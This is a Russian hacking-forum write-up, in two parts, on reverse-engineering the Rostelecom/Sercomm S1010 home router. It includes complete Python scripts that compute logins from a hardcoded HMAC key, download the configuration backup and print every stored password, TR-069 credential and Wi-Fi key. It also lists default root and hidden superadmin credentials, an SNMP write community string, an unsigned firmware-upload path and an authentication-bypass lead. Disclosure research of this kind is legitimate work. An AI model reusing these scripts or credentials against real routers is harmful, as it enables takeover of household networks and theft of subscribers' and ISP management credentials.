[spoiler=Вторая часть;align=center][UNFURL]https://lolz.team/threads/10313282/[/UNFURL] [/spoiler]
[CENTER]
[SIZE=4]Всем привет :colobok_hi: [/SIZE]

[SIZE=4]Сегодня я расскажу, как я зареверсил свой роутер от Ростелекома Sercomm S1010. ДА, я вкурсе, что в интернете про реверс этого роутера есть много статей, но они в основном поверхностные. Я решил сделать все сам и показать что реально можно найти в устройстве, которое стоит у миллионов людей в квартирах[/SIZE][/CENTER]

[spoiler=Обозначения цветов на скриншотах;align=center][CENTER][SIZE=4]Чтобы вы понимали что я выделяю на скринах:[/SIZE][/CENTER]

[CENTER][COLOR=rgb(184, 49, 47)]Красным - Самое главное: пароли, креды, уязвимости, результаты эксплуатации[/COLOR]
[COLOR=rgb(250, 197, 28)]Желтым - второе: логины, URL, версии, служебные данные[/COLOR]
[COLOR=rgb(41, 105, 176)]Синим - детали: захардкоженные строки, флаги шифрования, подписи[/COLOR][/CENTER][/spoiler]
[spoiler=Часть 1: Что это за железо и как я к нему подобрался;align=center][CENTER][SIZE=4]Начну с того, что за устройство и как я его нашел в сети[/SIZE][/CENTER]

[spoiler=1. Идентификация устройства;align=left][CENTER][SIZE=4]Первым делом я подключился к роутеру и посмотрел что он из себя представляет[/SIZE]

[SIZE=4]Идентифицировать устройство можно благодаря MAC адресу и через UPnP описанию:[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/c5bb38c2-6082-4aa0-8d9c-b593a54fbdf9.webp[/IMG]

Итог: за [SIZE=4]брендом Ростелекома скрывается Sercomm S1010. Желтым обведен вендор DWnet, красным - производитель и модель[/SIZE][/CENTER][/spoiler]
[spoiler=2. Открытые порты и отфильтрованные сервисы;align=left][CENTER][SIZE=4]Вот что показало сканирование портов. Желтым обведены закрытые файрволом порты ([tooltip=537]SSH[/tooltip] и Telnet), красным - которые наружу (7547 TR-069 и 49152 UPnP). Синим подчеркнут MAC устройства[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/e0bc8033-3e36-4b94-82e0-13b25aadedf8.webp[/IMG][/CENTER][/spoiler][/spoiler]
[spoiler=Часть 2: Веб-интерфейс и вход;align=center][CENTER][SIZE=4]Тут начинается самое интересное. Веб роутера [tooltip=611]самописный[/tooltip], с багами[/SIZE][/CENTER]

[spoiler=3. Слишком хрупкий веб-интерфейс;align=left][CENTER][SIZE=4]Если отправить [tooltip=529]запрос[/tooltip] без браузерных заголовков, сервер отвечает мусором[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/d03dfb19-bf4b-4ded-af8a-6cab93ced7a5.webp[/IMG]

[SIZE=4]Красным обведен [tooltip=583]баг[/tooltip] (null) 400 Bad Request статус начинается с полного мусора. Желтым - заголовок Prama, эт опечатка Pragma. Синим подчеркнут пустой Server:, тоесть сервер не представляется. Все это признаки старого самописного движка[/SIZE][/CENTER][/spoiler]
[spoiler=4. Схема входа и захардкоженный ключ;align=left][CENTER][SIZE=4]Схема входа в JS использует HMAC-SHA256 с ключом $1$SERCOMM$, который захардкожен для всех. Авторизация - challenge-response, но эт никак не спасает. Я сделал логин на [tooltip=894]пайтон[/tooltip] и вошел[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/7d64698a-5406-4205-bd53-28e2237ebb71.webp[/IMG][/CENTER]

[CENTER][SIZE=4]Красным обведены csrf_token и encryption_key - без них логин не сделать. Желтым успешный ответ login response: "1". Синим подчеркнут session_id, эт [tooltip=154]куки[/tooltip] сессии[/SIZE][/CENTER]

[CENTER][SIZE=4]Вот код который я написал для автоматизации входа:[/SIZE][/CENTER]
[CODE=python]#!/usr/bin/env python3
import re, sys, hmac, hashlib, http.cookiejar, urllib.request, urllib.parse, os

HOST = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1'
USER = sys.argv[2] if len(sys.argv) > 2 else 'admin'
PASS = sys.argv[3] if len(sys.argv) > 3 else '***'
BASE = f'http://{HOST}'

ARTIFACTS = '/root/router/artifacts'
os.makedirs(ARTIFACTS, exist_ok=True)

cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

UA = ('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
      '(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36')
HDRS = {
    'User-Agent': UA,
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.9',
    'Accept-Encoding': 'identity',
    'Connection': 'close',
}

def save(name, content):
    path = os.path.join(ARTIFACTS, name)
    with open(path, 'w', encoding='utf-8', errors='replace') as f:
        f.write(content)
    print(f'[+] saved {name}')

def get(url, save_as=None):
    r = op.open(urllib.request.Request(url, headers=HDRS), timeout=10)
    content = r.read().decode('latin1')
    if save_as:
        save(save_as, content)
    return content

def post(url, data, save_as=None):
    h = dict(HDRS)
    h['Content-Type'] = 'application/x-www-form-urlencoded'
    req = urllib.request.Request(url, data=data.encode(), headers=h)
    r = op.open(req, timeout=10)
    content = r.read().decode('latin1')
    if save_as:
        save(save_as, content)
    return content

html = get(f'{BASE}/login.html', save_as='login.html')
m = re.search(r"csrf_token = '([^']+)'", html)
csrf = m.group(1)
print(f'[+] csrf_token = {csrf}')

j = get(f'{BASE}/data/user_lang.json?csrf_token={csrf}', save_as='user_lang.json')
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print(f'[+] encryption_key = {enc}')

h1 = hmac.new(b'$1$SERCOMM$', PASS.encode('utf-8'), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
uname = urllib.parse.quote(urllib.parse.quote(USER, safe=''), safe='')
body = f'LoginName={uname}&LoginPWD={pwd}'
print(f'[+] hash1 = {h1}')
print(f'[+] LoginPWD = {pwd}')

url = f'{BASE}/data/login.json?_={urllib.parse.quote("0.0")}&csrf_token={csrf}'
resp = post(url, body, save_as='login_response.txt')
print(f'[+] login response: {resp!r}')
print('[+] cookies:', [(c.name, c.value) for c in cj])[/CODE]
[CENTER]
[SIZE=4]Что делает скрипт:[/SIZE]
[/CENTER]
1. Скачивает с роутера login.html (GET /login.html), сохраняет его в папку artifacts и вытаскивает из него csrf_token
2. Скачивает с роутера user_lang.json (GET /data/user_lang.json), сохраняет в artifacts и получает encryption_key
3. Считает первый HMAC: hash1[B] =[/B] HMAC_SHA256('$1$SERCOMM$', password) - ключ захардкожен в JS
4. Считает второй HMAC: LoginPWD = HMAC_SHA256(encryption_key, hash1) - итоговый пароль для отправки
5. Логинится на роутер через POST /data/login.json с посчитанным LoginPWD
6. Получает ответ [B]"1"[/B] и куку session_id
[CENTER]
[SIZE=4][tooltip=926]Скрипт[/tooltip] принимает три аргумента: [tooltip=415]хост[/tooltip], логин, пароль. Если не указать - то будет брать дефолтные значения. Все [tooltip=529]запросы[/tooltip] сохраняются в папку /root/router/artifacts/ для дальнейшего анализа[/SIZE][/CENTER][/spoiler][/spoiler]
[spoiler=Часть 3: Главная находка - слив всех паролей;align=center][CENTER][SIZE=4]А теперь то, ради чего все делалось[/SIZE][/CENTER]

[spoiler=5. Конфиг бэкапа отдает все секреты;align=left][CENTER][SIZE=4]В JS нашелся флоу бэкапа. Сначала POST, потом скачивание. Файл начинается с 4-байтного префикса и zlib-потока. После распаковки - 27399 байт XML с полным TR-069 DataModel. И там все секреты в открытом виде[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/96045716-ba02-4f5a-96d5-c61b68f59263.webp[/IMG]

[SIZE=4]Чтобы автоматизировать этот процесс от логина до слива секретов, я написал [tooltip=926]скрипт[/tooltip] на пайтон:[/SIZE][/CENTER]
[CODE=python]#!/usr/bin/env python3
import re, hmac, hashlib, http.cookiejar, urllib.request, time, zlib, struct

BASE = 'http://192.168.0.1'
USER = 'admin'
PASS = '***'
UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36'

H = {
    'User-Agent': UA,
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.9',
    'Accept-Encoding': 'identity',
    'Connection': 'close',
}

cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. login.html -> csrf
h = op.open(urllib.request.Request(BASE + '/login.html', headers=H)).read().decode('latin1')
csrf = re.search(r"csrf_token = '([^']+)'", h).group(1)
print('csrf_token =', csrf)

# 2. encryption_key
j = op.open(urllib.request.Request(
    BASE + f'/data/user_lang.json?csrf_token={csrf}',
    headers={**H, 'Referer': BASE + '/login.html'}
)).read().decode()
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print('encryption_key =', enc)

# 3. Loginpwd
h1 = hmac.new(b'$1$SERCOMM$', PASS.encode(), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
print('LoginPWD =', pwd)

# 4. login
body = f'LoginName={USER}&LoginPWD={pwd}'.encode()
req = urllib.request.Request(
    BASE + f'/data/login.json?csrf_token={csrf}',
    data=body,
    headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
             'Referer': BASE + '/login.html'}
)
r = op.open(req).read()
print('login response =', r)

# 5. используем тот же csrf, что и при логине
print('using same csrf_token =', csrf)

# 6. post для бэкапа
ts = int(time.time() * 1000)
body = b'ConfigurationSaveType=user_computer'
req = urllib.request.Request(
    BASE + f'/data/settings_configuration.json?_={ts}&csrf_token={csrf}',
    data=body,
    headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
             'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('POST response =', r)

# 7. get скачивание
ts = int(time.time() * 1000)
req = urllib.request.Request(
    BASE + f'/settings_page/configurationBackup.cfg?_={ts}&csrf_token={csrf}',
    headers={**H, 'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('downloaded bytes =', len(r))

open('configurationBackup.cfg', 'wb').write(r)

# 8. распоковка
declared = struct.unpack('<I', r[:4])[0]
print('declared length =', declared)
xml = zlib.decompress(r[4:])
open('configurationBackup.xml', 'wb').write(xml)
print('XML size =', len(xml))

# 9. секреты
print()
for line in xml.decode('utf-8', errors='replace').split('\n'):
    if any(x in line for x in ['Password', 'KeyPassphrase', 'ConnectionRequest', 'Username', 'CustomPassword']):
        print(line.strip())[/CODE]
[CENTER][SIZE=4]Что делает скрипт:[/SIZE]
[/CENTER]
1. Забирает login.html и вытаскивает из него csrf_token
2. Запрашивает user_lang.json и получает encryption_key
3. Считает LoginPWD через HMAC-SHA256 с захардкоженным ключом $1$SERCOMM$ и encryption_key
4. Логинится на роутер, получает сессионную куку
5. Отправляет POST с ConfigurationSaveType=user_computer - эт генерирует бэкап
6. Скачивает configurationBackup.cfg (2846 байт)
7. Распаковывает zlib-поток и получает XML на 27399 байт
8. Фильтрует строки с секретами и выводит их
[CENTER]
[SIZE=4]На скрине видно все от логина до секретов. Красным обведены login response = "1", POST response = 1, downloaded bytes = 2846 и сами пароли. Желтым - CSRF, encryption_key, URL и логины. Синим - флаги encryption="1" password="1", которые должны были зашифровать поля, но не зашифровали[/SIZE][/CENTER][/spoiler]
[spoiler=6. Проверка TR-069 креденшлов;align=left][CENTER][SIZE=4]Креды из бэкапа валидны для эндпоинта. Красным обведен 401 без кредов, желтым - 200 с кредами. Подчеркнуто leaked - эт значит что креды утекли вместе с бэкапом[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/464ac4fa-b44b-423d-b24b-e1d6bf2da283.webp[/IMG]

[SIZE=4]Это значит что устройство стоит на управлении у провайдера, и креды для него утекли вместе с бэкапом[/SIZE][/CENTER][/spoiler][/spoiler]
[spoiler=Часть 4: Другие находки;align=center][CENTER][SIZE=4]Помимо главной находки, есть еще несколько интересных моментов[/SIZE][/CENTER]

[spoiler=7. TLS-сертификат, который ничего не защищает;align=left][CENTER][SIZE=4]Сертификат HTTPS - дефолтный из SDK, RSA-1024/SHA1, self-signed, просрочен. Красным обведены Signature Algorithm: sha1WithRSAEncryption и Public-Key: (1024 bit). Желтым - O=Mini Webservice Ltd (дефолтный вендор). Синим - даты 2016 и 2026, сертификат просрочен[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/8a1ce8ed-2d7f-4ee6-932b-19d258fe5d49.webp[/IMG]

[SIZE=4]TLS-стек устройства сломан - рукопожатие падает с ошибкой. То есть HTTPS на роутере просто простая декорация.[/SIZE][/CENTER][/spoiler]
[spoiler=8. UPnP без аутентификации;align=left][CENTER][SIZE=4]UPnP-демон старый, без аутентификации. Любой [tooltip=415]хост[/tooltip] в LAN может создавать пробросы портов. Красным обведен MiniUPnPd/1.8 - версия 2015 года, куча CVE. Желтым - Ubuntu/bionic, эт захардкоженная строка, не соответствующая реальной ОС[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/3e73cb0c-ebfc-4054-907c-340c0aea0fb9.webp[/IMG][/CENTER][/spoiler][/spoiler]
[spoiler=Часть 5: Итоги и уязвимости;align=center][spoiler=9. Список уязвимостей;align=left][CENTER][SIZE=4]Всего 6 уязвимостей:[/SIZE]
[/CENTER]
High - Plaintext-экспорт всех секретов в бэкапе. Поля с флагом encryption="1" password="1" должны быть зашифрованы, но при экспорте выгружаются в открытом виде
High - TR-069 CWMP: Digest MD5 + креды утекают в бэкапе. Порт 7547 открыт, аутентификация на MD5, а логин и пароль лежат в том же бэкапе
Medium - Слабый TLS-сертификат RSA-1024/SHA1. Дефолтный сертификат из SDK, self-signed, просрочен, одинаковый на всех устройствах
Medium - Управление по HTTP без TLS. Веб-панель работает по HTTP, HTTPS не работает из-за сломанного TLS-стека
Medium - Устаревший MiniUPnPd [tooltip=854]1.8[/tooltip] + UPnP без аутентификации. Любой [tooltip=415]хост[/tooltip] в LAN может создавать пробросы портов и читать всю WAN-статистику
Medium - Слишком хрупкий веб. Однопоточный сервер, рвет соединения на простых запросах, падает от сканеров[/spoiler][/spoiler]
[CENTER]
[SIZE=4]Немного покопавшись в своем роутере, я нашел 6 уязвимостей и [tooltip=760]слив[/tooltip] всех паролей в открытом виде. Устройство стоит у миллионов людей дома, и практически никто не знает что внутри. [SIZE=4]Но это еще не все. Вскором времени выпущу вторую часть она будет довольно длинной. Там будет подробный гайд как выкачать прошивку самому. А потом и сам разбор прошивки: strings, Ghidra, поиск хардкод-кредов, скрытых аккаунтов и бэкдоров уже в бинарниках. Плюс разбор JS веб - как искал эндпоинты, как вытаскивал схему логина, как нашел флоу бэкапа[/SIZE]
Если есть вопросы - пишите в тему) :amura:[/SIZE]
[/CENTER]


[CENTER][SIZE=4]Всех приветствую в данной статье. Буду рад каждому читателю  :smile_victory: [/SIZE]

[SIZE=4]Это вторая часть про роутер Ростелеком (а именно Sercomm S1010). Первая часть была про веб и утечку конфига бэкапа (где были все пароли, данные и т.д). В этой части, будет про прошивку, а именно как снять [tooltip=398]дамп[/tooltip], разобрать rootfs, вскрыть бинарникик [SIZE=4][SIZE=4](strings + Ghidra + ассемблер) и еще найти скрытые логины и вендорские приколюхи.[/SIZE][/SIZE] Уязвимости (обход авторизации, TR-069, [tooltip=539]root[/tooltip] RCE) будут в третьей части[/SIZE]
[/CENTER]
[spoiler=Обозначения цветов;align=center][CENTER][COLOR=rgb(184, 49, 47)]Красный [/COLOR]- результат, данные, пути бэкдоров
[COLOR=rgb(250, 197, 28)]Желтый [/COLOR]- имена, разделы, версии, команды
[COLOR=rgb(41, 105, 176)]Синий [/COLOR]- хардкод-строки, соль, флаги, пути[/CENTER][/spoiler]
[spoiler=1. Таблица сервисов и доступа;align=center][CENTER]
[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/cw8peo.png[/IMG]

[SIZE=4]На скрине краткая инфа по сервисам. Видно что без авторизации торчит только UPnP/49152, а 7547/22/23 защищены (ACL/Digest/логином). Дебаг порты 5916 закрыты [SIZE=4]фаерволом[/SIZE][/SIZE][/CENTER][/spoiler]
[spoiler=2. Разведка;align=center][CENTER][SIZE=4]За брендом Ростелекома скрыт OEM роутер от Sercomm. UPnP сам представляется, MAC и порт OpenWrt это подтверждают[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/7le0uh.png[/IMG]

[SIZE=4]Красным выделено 7547 (CWMP) и 49152 (UPnP) наружу. Желтым 22/23 (коотрый файрвол режет). Синим OUI DWnet и интересный скрытый дебаг порт 5916[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/k0e217.png[/IMG]

[SIZE=4]Красным manufacturer=SERCOMM, modelName=S1010, серийник и айпишник. Без авторизации[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/fzlw2n.png[/IMG]

[SIZE=4]КРасным RSA-1024/SHA1 и он оказывается просроченным. Желтым дефолтный O=Mini Webservice Ltd из SDK. Сертификат и ключ зашит в образ[/SIZE][/CENTER][/spoiler]
[spoiler=3. Как выкачать прошивку;align=center][CENTER][SIZE=4]Два способа. Первый через [tooltip=539]рут[/tooltip] шелл (как его получить - в третьей части либо через бэкдор из первой части): читаем разделы флеш. Стоковый busybox не умеет использовать команду dd, поэтому юзаем cat. Разметка cat /proc/mtd[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/w9pq4l.png[/IMG]

[SIZE=4]Красным uid 0, размер дампа, md5. Желтым mtd8 RootFS2. Синим команда. Полный [tooltip=398]дамп[/tooltip] 16 МБ снимается из OpenWrt (/dev/mtd0 там = весь флеш). Загрузчик остается все также открытым[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/p0ir94.png[/IMG]

[SIZE=4]Синим U-Boot 1.1.3, красным флаги слотов Sercomm0/Sercomm1, желтым bootcmd=tftp[/SIZE]

[SIZE=4]Второй способ (тот спосоБ, которым я воспользовался) штатный upload.cgi [COLOR=rgb(204, 204, 204)]не проверяет подпись образа[/COLOR] поэтому заливаем OpenWrt в [tooltip=924]ОЗУ[/tooltip], снимаем все mtd, возвращаем сток переключением флага. Прикол с именем файла (JS проверяет второй элемент результата file_name.split('.'), а не последнее расширение файла) описан в JS:[/SIZE][/CENTER]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/sldqbz.png[/IMG]
[CENTER]
[SIZE=4]Красным - `file_name.split('.')`/`tmp_name[1]`, желтым - `upload.cgi` и `'img'`. Распаковка: `unsquashfs -d rootfs_stock rootfs2.bin`[/SIZE][/CENTER][/spoiler]
[spoiler=4. Разбор rootfs;align=center][CENTER][SIZE=4]Пароли от CLI/SSH/telnet лежат в /var/cli_pw (tmpfs), а не в /etc/shadow[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/tcil2o.png[/IMG]

[SIZE=4]Красным superadmin:...:0:0:Root:/:/bin/sh (uid 0) и cron для него, синим соль $1$SERCOMM$. Желтым обычный admin (uid 1001)[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/looy2l.png[/IMG]

[SIZE=4]Здесь же видно само имя: superadmin в default.xml и запись в /var/cli_pw. Соль хэша фиксированный и одинаковый - одинаковые пароли дают одинаковые хэши, плюс можно генерировать свои записи при записи в файл[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/3ianu7.png[/IMG]

[SIZE=4]root/root в /etc/shadow (красным совпадение с openssl passwd), PermitRootLogin yes/PermitEmptyPasswords yes. Это insecure default + статический пароль[/SIZE]

[SIZE=4]Инициализация и путь сборки:[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/5upadi.png[/IMG]

[SIZE=4]Красным LISTEN на :::22`/`:::23 при SSHLANAccess=deny. Тоесть deny, ток правило iptables, сам демон живой. Желтым значения ACL[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/u5hu25.png[/IMG]

[SIZE=4]Красным FIFO сmd_agent (читается и исполняется через system();) и world-writable [tooltip=962]сокет[/tooltip] bud (0777). Желтым права[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/v2zby8.png[/IMG]
[SIZE=4]/tmp/sal/misc.sal: заводские данные, Wi-Fi PSK (красным) и per-IP csrf_token/session_id/login_key (синим). Хранится открыто в /tmp[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/v5tthk.png[/IMG]
[SIZE=4]Зашитый WPS PIN (красным) и строки другого оператора (Beeline), синим mtk_beeline_multiroom[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/mcqeqb.png[/IMG]

[SIZE=4]Постоянный syslog хранит фулл историю логинов. Красным success, желтым failed, синим hostname[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/ekvdf6.png[/IMG]
[SIZE=4]Дефолты: superadmin, SNMP RW-community 4rEAd&wrItE (красным), заводской DevicePassword и ACS [UNFURL='https://acs.rt.ru']acs.rt.ru[/UNFURL] (желтым). SNMP - insecure default (выключенный по дефолту)[/SIZE][/CENTER][/spoiler]
[spoiler=5. Бинарники: Ghidra и ассемблер;align=center][SIZE=4]Многие бинарники не стрипнуты. Классы Scalar/страницы показывают, как устроен веб:[/SIZE]
[CENTER]
[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/ueyhgn.png[/IMG]

[SIZE=4]Желтым id полей (ssh_lan, ConfigurationSaveType). Клиентский filterInvalidString обходится простым прямым POST[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/qkx30l.png[/IMG]

[SIZE=4]Фрагмент auth_check в mini_httpd: ветка с strstr(url,"activation") (синим) и переход на auth OK (красным). Разбор и использование будет в третьей части[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/o66j4i.png[/IMG]

[SIZE=4]sc_cli: команда sh (красным) и пасхалочка I don't hope be executed by shell (синим)[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/qtz5au.png[/IMG][/CENTER]

[CENTER][SIZE=4][UNFURL='https://librcl.so']librcl.so[/UNFURL] насильно зашивает DROP для 5916 и [tooltip=960]UDP[/tooltip] набора (красным). Слушателя для них в сборке нет[/SIZE]
[/CENTER]
[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/6r2bn5.png[/IMG]
[CENTER]
[SIZE=4]upload.cgi: типы image/config/crt (красным). Нету проверки подписи[/SIZE]

[IMG=align=left;alt=%5BIMG%5D]https://files.catbox.moe/rmf5t9.png[/IMG][/CENTER]

[CENTER][SIZE=4]Тестовый URL в cwmp_stun (желтым) и ляпы mini_httpd: (null) 400 и опечатка Prama (красным)[/SIZE][/CENTER][/spoiler]
[CENTER]
[SIZE=4]В третьей будет как из этого получается обход авторизации и [tooltip=539]root[/tooltip] RCE[/SIZE]
Если есть вопросы/нужны уточнения - пишите) :amura:[/CENTER]